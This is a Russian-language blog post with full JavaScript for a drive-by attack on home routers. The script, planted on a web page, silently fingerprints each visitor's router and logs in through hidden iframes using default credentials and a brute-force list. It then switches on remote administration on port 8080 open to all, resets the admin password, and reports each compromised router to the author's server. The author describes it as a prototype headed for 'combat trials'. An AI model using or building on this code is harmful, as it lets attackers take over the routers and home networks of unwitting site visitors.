Categories: Router

Практика по взлому домашних роутеров.

Как всегда, сначала надо оговорить, что под роутерами будут подразумеваться в большинстве своем SOHO роутеры, которые стоят в общественных местах, домах и тд. А также под «вскрытием» понимается открытие доступа к роутеру из глобальной сети и получение данных для этого доступа (об этом подробнее потом).


Итак, почти всегда (и по дефолту) роутеры закрыты для доступа из вне и как-то с ними взаимодействовать (кроме переправки сетевых пакетов) можно только из локальной (часто беспроводной) сети, то есть попасть в настройки можно только подключившись к нему через Ethernet кабель или по WiFi, если есть такая функция.

Всем, кто настраивал или пробовал залезть в настройки известно, что роутеры используют пул частных IP-адресов и назначают эти адреса всем подключившемся к ним машинам, создавая локальную сеть между этими устройствами (включая их самих), и через частный IP роутера (может быть разный, но на практике вариантов совсем мало) можно зайти в его админ панель через веб-интерфейс и настроить там, все что он предложит.

То есть у него там запущен какой-то веб-сервер, который и предлагает это сделать, можно сказать это сайт в этой локальной сети, через который можно провести настройку. Только эти настройки ограничиваются логином и паролем для защиты. Но почти всегда обычным юзерам не хочется лезть в настройки (или не приходится), и настраивающие роутеры люди, тоже не меняют пароли от настроек и они остаются дефолтными.

Задумка.

По моим наблюдениям (в моих случаях всегда, но возможно это не так) в большинстве роутеров в HTTP-заголовках ответов не было заголовка X-Frame-Options (хотя это не помеха, как выяснилось позже), то есть весь веб-интерфейс можно с легкостью подгрузить во фрейме. Но рулить содержимым < iframe > через JS мы не сможем, так как Cross Origin Policy браузеров не позволит, более того, мы даже не сможем увидеть, какой реальный адрес подгрузился во фрейме (если там был редирект) и тем более HTML-код в нем.

Несмотря на эти ограничения, пользу из ситуации все же можно вынести: можно на основе шаблонов пробовать угадать марку и модель роутера, затем через дофолтные логин/пароль для этой модели залогиниться и отправлять все HTTP-запросы в тот < iframe >, тем самым как-никак, но мы получается будем управлять роутером.

Но управлять таким образом очень сложно, неудобно и довольно велика вероятность, что кое-что кое-где может пойти не так вся цепочка действий прервется или ключевые действия не будут выполнены, поэтому идея заключается в том, что мы:

  • определяем марку и модель роутера;
  • подбираем для модели дефолтные логин/пароль;
  • после авторизации открываем порт для внешнего доступа к роутеру;

В большинстве (в моем случае было во всех) роутерах есть функция удаленного подключения (по дефолту это порт 8080), так что нам легче всего будет после залогивания открыть его и отослать репорт на наш сервер, мол плюс один есть.

Но для эффективности я еще сделал так, что после первой попытки авторизации скрипт еще раз посылает все логины и пароли из его словаря (при нужной установке переменных в скрипте). Это работает, так как нам достаточно один раз угадать логин и пароль, далее при успешной попытке они сохраняются в cookies или в сессиях на самом роутере (опять же, так может быть не у всех, но в моем случае было всегда), и мы можем еще перепробовать пару ложных паролей (cookie не удаляться при этом) и потом уже отправлять HTTP-запросы для открытия порта.
Теперь стоит упомянуть, когда это не сработает:

  • если юзер сменил дефолтные логин и пароль (и сменил не на другие дефолтные);
  • если авторизация осуществляется с каптчей или какими-нибудь токенами (такое пару раз видел, но редко);

Еще сначала мне казалось, что если веб-сервер роутера будет отправлять X-Frame-Options со значениями SAMEORIGIN и тем более DENY, то наша затея тоже накрывается. Но затем я более детально вдумываясь пришел к выводу, что фрейм нам нужен только для того, чтобы при отправки POST или GET запросов у нас не происходила переадресация главной страницы.

А это значит, что нам не важно, какой будет ответ от веб-сервера, нам главное, доставить до него запрос через фрейм. А современные браузеры применяют политику Cross Origin Policy только при получении ответа от веб-сервера и уже на основе нужного заголовка решают, отдавать нам ответ во фрейм или зажать. Но в нашей ситуации достаточно только доставить запрос до веб-сервера, а к запросу эта политика не будет принята, так что в теории все должно быть нормально, что и было потом подтверждено опытным путем.

Реализация.

Определение марки и модели роутера.
Сначала долго думал, каким способом можно это сделать, учитывая, что из доступных средств у нас толко JS (можно конечно сюда и флеш с джавой приспособить, но хром сейчас, например, по умолчанию флеш на паузу ставит, да и не установлен может он быть + это нам мало что даст, по сравнению с JS’ом).

Потом придумал (и выяснил, что до меня это уже кто-то догадался), что каждый роутер при подгрузке веб-интерфейса используют каие-то картинки, css-файлы, js-файлы, которые мы в принципе без каких-либо ограничений можем запрашивать у веб-сервера роутера с нашего подгружаемого сайта. Тем самым, определив наличие/отсутствие каких-то файлов можно с относительно точной вероятностью сказать, что у юзера используется такой-то роутер и что там скорее всего стоят такие-то логин и пароль, и нам надо отправить такой-то HTTP-запрос, чтобы залогиниться и поставить настройку открытия внешнего администрирования.

Это подводит еще к моменту, что придется составлять базу «отпечатков» конфигураций файлов js/css/картинок для каждой интересующий нас модели и так же в эту базу добавлять данные, как с этой моделью работать и какие там используются пароль и логин.

Забегаю чуть вперед, можно увидеть проблему в отправке POST зарпосов в < iframe >, но благо браузеры позволяет нашим формам (< form >) через атрибут target указать, куда будем сабмититься, то есть можно указать имя нашего фрейма и все POST запросы будут отсылаться в него.
Получившийся JS код прикреплю к теме и не буду вдаваться в его подробности, лишь опишу кратко алгоритм работы:

  • из базы берется элемент данных;
  • проверяется его файлы один за другим;
  • если файла нет на сервере, то записывается количество совпадений остальных файлов элемента данных;
  • если совпали все файлы (или количество совпадений наибольшее), то берется из элемента данных инструкция и выполняется;
  • если в результате перебора базы точных совпадений не было, то выбираются «победители», с наибольшим числом совпадений (их может быть несколько);
  • если совпадений нет, то все заканчивается;
  • далее просто для каждого «победителя» выполняются заложенные в базу команды;
  • после окончания работы (если были совпадения) на сервер отправляется уведомление;

Серверная сторона может быть реализована на PHP, там будет детектиться IP юзера (это почти всегда IP роутера, если юзер не сидит через посредника) и приниматься уведомления, где уже будет связываться IP и данные для подключения и все это сохраняться.

Параметры скрипта.

Тут их всего 2, которые можно поставить через переменные в начале. Первый — это число роутеров, которые будут выбираться из кандидатов (по умолчанию будет выбираться наиболее вероятная тройка). Второй параметр ставит режим брута, то есть на этапе логина по дефолтным данным будет проведен небольшой брут по топовым дефолтным парам логин-пароль для роутеров.
Для статистики — у меня при установках на 1 роутер и без брута уходило около 3-4 секунд в целом, а при установках также на 1 роутер и с брутом — около 20 секунд.

Составление базы данных.

Тут может быть несколько моментов (сложностей). Первое — это всякие токены и прочая муть, которая по сути является лишней информацией (если вообще не мешает провернуть дело), так например у меня при отправлении POST запроса на выставление «в мир» 8080 порта отправилась  туча инфы (другие настройки, которые должны были измениться), я конечно часть полей ненужных мне настроек удалил (и проверил работоспособность), но делать так с каждым роутером при составлении базы очень муторно, поэтому сначала, наверное, придется отправлять не удалять лишние поля, а отсылать их данные вместе с нужными. А выдергивание этих полей из HTTP-запросов (при их сниффинге каким-нибудь прокси) можно будет поручить потом какому-нибудь скрипту.

Также пока не проверил, насколько точную инфу по роутерам (их файлам, данным, которые надо отправлять в запросах) можно получить от онлайн-симуляторов прошивок. Возможно, что там они немного отличаются и придется каждую прошивку качать и запускать в эмуляторе отдельно — это второй момент.

Третий заключается в том, что у одной и той же модели (одной и той же марки) в разных версиях прошивок могут быть разные конфиги файлов и данных для запросов. Это я пока не проверил, нахожусь в процессе.

Есть еще одна особенность, что у некоторых роутеров перед передачей данных они сначала обрабатываются (передаются их хеши чаще всего), для этого в структуре объявлена переменная, которая для каждой модели будет обозначать имя функции (которую надо брать из у моделей), вызывающуюся перед отправкой данных. Функция обработки данных авторизации, как правило, вызываются через атрибут onsubmin формы отправки данных.

Под конец.

Это пока можно сказать прототип, так как почти нет оптимизации работы скрипта (разве что изначально алгоритм подбирался таким образом, чтобы комп у юзера не зарычал от нагрузки и при этом была работа в несколько потоков), поэтому потом можно будет провести небольшой рефакторинг с целью оптимизации скорости (если база будет очень большая и ее обработка будет занимать относительно много времени) и база сейчас почти пустая, потом ее надо будет тоже наполнить хотя бы самыми популярными моделями.

Для себя планирую написать вспомогательный скрипт для составления БД, чтобы туда можно было послать дамп HTTP-запроса к роутеру при логине (скопировав его через какой-нибудь прокси вроде Burp Suite), и чтобы скрипт сам выцепливал почти все нужные ему данные. Ну а наполнив базу до относительно приличного объема, можно будет попробовать и уже боевые испытания провести.
И мне бы очень помогло, если бы кто-то посмотрел у себя дома у веб-интерфейса роутера файлы и сравнил бы их с файлами на онлайн симуляторах прошивок (а еще лучшим и аргументы при POST-запросах посмотреть).

var topCount = 3;      //количество наиболее вероятных вариантов, которое мы будем брать после пробега по базе
var forceBrute = false; //если мы хотим брутить пароли и логины даже после первой попытки дефолтных логина и пароля, то надо поставить в true
var cssExist, jsExist, imgExist;
var style, script, img
var lastCSSsrc, lastScriptSrc, lastImgSrc;
var frames, bd, results, addr;
var candidates, res;
var t1, t2;            //временные переменные для детекта скорости выполнения скрипта
window.onload = init;

//список пар логинов и паролей для брута (взято с http://www.router-defaults.com/Statistics)
var bruteData = [['admin', 'admin'], ['', ''], ['admin', 'password'], ['admin', ''], ['', 'admin'], ['admin', '1234'], ['root', ''], ['', ''], ['', 'admin'], ['root', 'root'], ['admin', 'epicrouter'], ['admin', 'airlive'], ['admin', 'funkwerk'], ['admin', 'netgear1'], ['Administrator', 'admin'], ['user', 'user'], ['', '1234'], ['guest', 'guest'], ['root', 'admin'], ['', 'password'], ['', 'smcadmin'], ['Admin', 'Admin'], ['cisco', 'cisco'], ['admin', 'motorola'], ['', 'password'], ['root', '12345'], ['admin', 'readwrite'], ['netscreen', 'netscreen']];

function setCSScheck(url, el){
  cssExist = "none";
  if (style) style.remove();
  style = document.createElement("link");
  style.rel = "stylesheet";
  style.id = "cid";
  style.el = el;
  style.onload = function(e){
   cssExist = true;
   checkCSS(e.target.el, true);
  };
  style.onerror = function(e){
   cssExist = false;
   checkCSS(e.target.el, false);
  };
  document.head.appendChild(style);
  style.href = el.addr + url;
}

function checkCSS(el, cssExist){
  if (!style.href || style.href == lastCSSsrc) return;
  if (cssExist !== true && cssExist !== false){
   alert("Something with CSS went wrong");
  }
  if (!cssExist){
   el.cssIndex += 1;
   //alert("This css file doesn't exist");
  } else {
   el.cssIndex += 1;
   el.rating += 1;
   //alert("This css file exists");
  }
  cssExist = "none";
  lastCSSsrc = style.href;
  if (el.cssIndex >= el['css'].length) {
   el.cssChecked = true;
   if (el.imgChecked && el.jsChecked && el.cssChecked) {
     if (el.rating > 0) candidates.push(el);
     if (el == bd[bd.length-1]) handleResults();
   }
  } else {
   setCSScheck(el['css'][el.cssIndex], el);
  }
}

function checkScript(el, scriptExist){
  if (!script.src || script.src == lastScriptSrc) return;
  if (scriptExist !== true && scriptExist !== false){
   alert("Something with JS went wrong");
   return;
  }
  if (!scriptExist){
   el.jsIndex += 1;
   //alert("This js file doesn't exist");
  } else {
   el.jsIndex += 1;
   el.rating += 1;
   //alert("This js file exists");
  }
  scriptExist = "none";
  lastScriptSrc = script.src;
  if (el.jsIndex >= el['js'].length) {
   el.jsChecked = true;
   if (el.imgChecked && el.jsChecked && el.cssChecked) {
     if (el.rating > 0) candidates.push(el);
     if (el == bd[bd.length-1]) handleResults();
   }
  } else {
   setScriptCheck(el['js'][el.jsIndex], el);
  }
}

function setScriptCheck(url, el){
  scriptExist = "none";
  if (script) script.remove();
  script = document.createElement("script");
  script.id = "sid";
  script.el = el;
  script.onerror = function(e){
    scriptExist = false;
   checkScript(e.target.el, false);
  };
  script.onload = function(e){
   scriptExist = true;
   checkScript(e.target.el, true);
  };
  document.head.appendChild(script, false);
  script.src = el.addr + url;
}

function checkImg(el, imgExist){
  if (!img.src || img.src == lastImgSrc) return;
  if (imgExist !== true && imgExist !== false){
   alert("Something with IMG went wrong");
   return;
  }
  if (!imgExist){
   el.imgIndex += 1;
   //alert("This image file doesn't exist");
  } else {
   el.imgIndex += 1;
   el.rating += 1;
   //alert("This image file exists");
  }
  imgExist = "none";
  lastImgSrc = img.src;
  if (el.imgIndex >= el['images'].length) {
   el.imgChecked = true;
   if (el.imgChecked && el.jsChecked && el.cssChecked) {
     if (el.rating > 0) candidates.push(el);
     if (el == bd[bd.length-1]) handleResults();
   }
  } else {
   setImgCheck(el['images'][el.imgIndex], el);
  }
}

function setImgCheck(url, el){
  imgExist = "none";
  if (img) img.remove();
  img = document.createElement("img");
  img.style.opacity = 0;
  img.id = "mid";
  img.el = el;
  img.onerror = function(e){
   imgExist = false;
   checkImg(e.target.el, false);
  };
  img.onload = function(e){
   imgExist = true;
   checkImg(e.target.el, true);
  };
  document.body.appendChild(img);
  img.src = el.addr + url;
}

//инициализируем переменные и создаем фрейм
function init(){
  t1 = new Date();
  results = new Array();
  addr = "http://" + addr;
  cssExist = jsExist = imgExist = "none";
  lastCSSsrc = lastScriptSrc = lastImgSrc = "";
  candidates = [];
  frames = [];
  res = [];
  beginAttack();
}

//запускаем движуху
function beginAttack(){
  for (var i=0; i<bd.length; i++){
   var el = bd[i];
   el.addr = "http://" + el['addr'];
   el.cssIndex = 0;
   el.jsIndex = 0;
   el.imgIndex = 0;
   el.rating = 0;
   el.imgChecked = true;
   el.jsChecked = true;
   el.cssChecked = true;
   if (el['css']) {
     setCSScheck(el['css'][0], el);
     el.cssChecked = false;
   }
   if (el['js']) {
     setScriptCheck(el['js'][0], el);
     el.jsChecked = false;
   }
   if (el['images']) {
     setImgCheck(el['images'][0], el);
     el.imgChecked = false;
   }
  }
}

//выбираем топ наиболее вероятных моделей
function handleResults(){
  candidates.sort(function(a,b){
    return b.rating - a.rating;
  });
  for (var i=0; i<topCount; i++) {
   if (i >= candidates.length) break;
   res.push(candidates[i]);
  }
  beginLogin(res);
}

//пробуем залогиниться (для каждого из "победителей")
function beginLogin(res){
  for (var i=0; i<res.length; i++){
   var el = res[i];
   el.resIndex = i;
   if (forceBrute){
     authBrute(el);
     continue;
   }
   var frame = document.createElement("iframe");
   frame.index = i;
    frame.style.border = 0;
    frame.style.width = 0;
    frame.style.height = 0;
    frame.style.opacity = 0;
    frame.name = "router_frame" + i;
    frames.push(frame);
    document.body.appendChild(frame);
   var inst = el['instructions'];
   var ln = inst['login_data']['login_field_name'];
   var pn = inst['login_data']['pass_field_name'];
   if (el['data_encode']) {
     el['login'] = el['data_encode'](el['login']);
     el['password'] = el['data_encode'](el['password']);
   }
   el['instructions']['login_data']['fields'][ln] = el['login'];
   el['instructions']['login_data']['fields'][pn] = el['password'];
   var form = document.createElement("form");
   form.id = "form_" + frame.index;
   form.method = inst['login_data']['method'];
   form.action = el['addr'] + inst['login_data']['action'];
   form.target = frame.name;
    var fields = inst['login_data']['fields'];
    var keys = Object.keys(inst['login_data']['fields']);
    for (var j=0; j<keys.length; j++){
      var f = document.createElement("input");
      f.type = "hidden";
      f.name = keys[j];
      f.value = fields[keys[j]];
      form.appendChild(f);
    }
    frame.rform = form;
    document.body.appendChild(form);
    frame.onload = function(e){
      beginAction(e.target);
    }
    form.submit();
  }
}

//выполняем нужные манипуляции (после залогивания)
function beginAction(frame){
  var el = res[frame.index];
  var form = frame.rform;
  var mdata = el['instructions']['manage_data'];
  form.method = mdata['method'] || "POST";
  form.action = el['addr'] + mdata['action'];
  form.target = frame.name;
  var fields = mdata['fields'];
  var keys = Object.keys(mdata['fields']);
  for (var j=0; j<keys.length; j++){
    var f = document.createElement("input");
    f.type = "hidden";
    f.name = keys[j];
    f.value = fields[keys[j]];
    form.appendChild(f);
  }
  frame.onload = function(e){
    //что-то делаем после возможно успшеного открытия порта или другого процесса
    //например, оповещаем сервер и на всякий случай пробуем перебрать все пароли и провернуть действие еще раз для верности, пока юзер не покинул страницу
    t2 = new Date();
    var dif = Math.round((t2 -t1) / 1000 * 100) /100;
    console.log("Script time execution: " + dif + " seconds");
    e.target.onload = null;
  }
  form.submit();
}

function authBrute(el){
  el.bruteIndex = 0;
  for (var i=0; i<bruteData.length; i++){
   var curLogin = bruteData[i][0];
   var curPass = bruteData[i][1];
    var frame = document.createElement("iframe");
   frame.index = el.resIndex;
    frame.style.border = 0;
    frame.style.width = 0;
    frame.style.height = 0;
    frame.style.opacity = 0;
    frame.el = el;
    var fname = el['name'].split(' ').join('_');
    frame.name = "frame_" + fname + i;
    document.body.appendChild(frame);
   var inst = el['instructions'];
   var ln = inst['login_data']['login_field_name'];
   var pn = inst['login_data']['pass_field_name'];
   if (el['data_encode']) {
     el['login'] = el['data_encode'](curLogin);
     el['password'] = el['data_encode'](curPass);
   }
   el['instructions']['login_data']['fields'][ln] = el['login'];
   el['instructions']['login_data']['fields'][pn] = el['password'];
   var form = document.createElement("form");
   form.id = "form_" + fname + i;
   form.method = inst['login_data']['method'];
   form.action = el['addr'] + inst['login_data']['action'];
   form.target = frame.name;
    var fields = inst['login_data']['fields'];
    var keys = Object.keys(inst['login_data']['fields']);
    for (var j=0; j<keys.length; j++){
      var f = document.createElement("input");
      f.type = "hidden";
      f.name = keys[j];
      f.value = fields[keys[j]];
      form.appendChild(f);
    }
    frame.rform = form;
    document.body.appendChild(form);
    frame.onload = function(e){
      var el = e.target.el;
      el.bruteIndex += 1;
      if (el.bruteIndex == bruteData.length){
        beginAction(e.target);
      }
    }
    form.submit();
  }
}

//функции для предварительной обработки данных авторизации (иногда бывают нужны)
function base64_encode(data) {    
  data = escape(data);  
  var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  var o1, o2, o3, h1, h2, h3, h4, bits, i=0, enc='';
  do {
    o1 = data.charCodeAt(i++);
    o2 = data.charCodeAt(i++);
    o3 = data.charCodeAt(i++);
    bits = o1<<16 | o2<<8 | o3;
    h1 = bits>>18 & 0x3f;
    h2 = bits>>12 & 0x3f;
    h3 = bits>>6 & 0x3f;
    h4 = bits & 0x3f;
    enc += b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
  } while (i < data.length);
  switch( data.length % 3 ){
    case 1:
        enc = enc.slice(0, -2) + '==';
    break;
    case 2:
        enc = enc.slice(0, -1) + '=';
    break;
  }
  return enc;
} 

//структура БД для добавления роутеров
bd = [
  {'name':'dlink dir-615',   //имя роутера (желательно точное, чтобы не было повторений)
   'addr':'192.168.0.1',     //адрес для доступа к веб-интерфейсу администрирования
   'images':[        //адреса картинок для детекта (любое графическое расширение)
     '/auth.bmp',
     '/wireless_tail.gif',
     '/wlan_masthead.gif'
   ],
   'css':[         //адреса .css файлов для детекта
     '/css_router.css'
   ],
   'js':[         //адреса .js скриптов для детекта
     '/frame.cmo',
     '/frame.js',
     '/lingual_EN.js',
     '/public.js',
     '/public_msg.js'
   ],
   'login':'admin',             //логин, который будет использоваться для авторизации
   'password':'',            //пароль для авторизации (оставлять пустым, если не используется)
   'data_encode': base64_encode, //функция для предварительной обработки данны (логина и пароля) - иногда нужна для некоторых роутеров (если ее нет, то оставить пустым)
   'instructions':{  
     'login_data':{          //данные для формы, которая юзается при авторизации
       'action':'/login.cgi',   //атрибут action, где указать адрес страницы для логина
       'method':'POST',         //метод (GET или POST)
       'fields':{               //поля побочных данных для авторизации формата имя_поля:значение, что потом приобразуется в <input type=hidden name="имя_поля" value="значение"/>
         'html_response_page':'login_fail.asp',
         'login_name':'',       //оставлять пустым, скрипт сам вставит значения из полей login и password, исопльзую свойства login_field_name и pass_field_name
         'login_pass':'',       //тоже самое, что и с login_name (см. верхнюю строку)
         'graph_id':'0bb8d',
         'log_pass':'',
         'graph_code':'',
         'login':'Login'
        },
        'login_field_name':'login_name', //имя поля логина (указать отдельно)
        'pass_field_name':'login_pass'  //имя поля пароля (тоже нужно отдельно)
     },
     'manage_data':{            //данные для отправления запроса установки настроек в режим удаленного доступа (в теории можно исопльзовать данные для любых действий)
       'action':'/apply.cgi',
       'method':'POST',
       'fields':{
         'html_response_page':'back.asp',
         'html_response_message':'The+setting+is+saved.',
         'html_response_return_page':'tools_admin.asp',
         'reboot_type':'filter',
         'inbound_filter_name_00':'',
         'inbound_filter_name_01':'',
         'inbound_filter_name_02':'',
         'inbound_filter_name_03':'',
         'inbound_filter_name_04':'',
         'inbound_filter_name_05':'',
         'inbound_filter_name_06':'',
         'inbound_filter_name_07':'',
         'inbound_filter_name_08':'',
         'inbound_filter_name_09':'',
         'inbound_filter_name_10':'',
         'inbound_filter_name_11':'',
         'inbound_filter_name_12':'',
         'inbound_filter_name_13':'',
         'inbound_filter_name_14':'',
         'inbound_filter_name_15':'',
         'inbound_filter_name_16':'',
         'inbound_filter_name_17':'',
         'inbound_filter_name_18':'',
         'inbound_filter_name_19':'',
         'inbound_filter_name_20':'',
         'inbound_filter_name_21':'',
         'inbound_filter_name_22':'',
         'inbound_filter_name_23':'',
         'button1':'Save+Settings',
         'admin_password':'WDB8WvbXdHtZyM8Ms2RENgHlacJghQyG',
         'admin_password1':'WDB8WvbXdH',
         'admPass2':'WDB8WvbXdH',
         'user_password':'WDB8WvbXdHtZyM8Ms2RENgHlacJghQyG',
         'user_password1':'WDB8WvbXdH',
         'usrPass2':'WDB8WvbXdH',
         'hostname':'DIR-615',
         'graph_auth_enable':'0',
         'remote_enable':'1',
         'remote_http_management_enable':'1',
         'remote_http_management_port':'8080',
         'remote_inbound_filter':'Allow_All',
         'remote_http_management_inbound_filter':'Allow_All'
       },
     }
   }
  }
];

Click to rate this post!
[Total: 11 Average: 2.9]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

1 год ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

1 год ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

1 год ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

1 год ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

1 год ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

1 год ago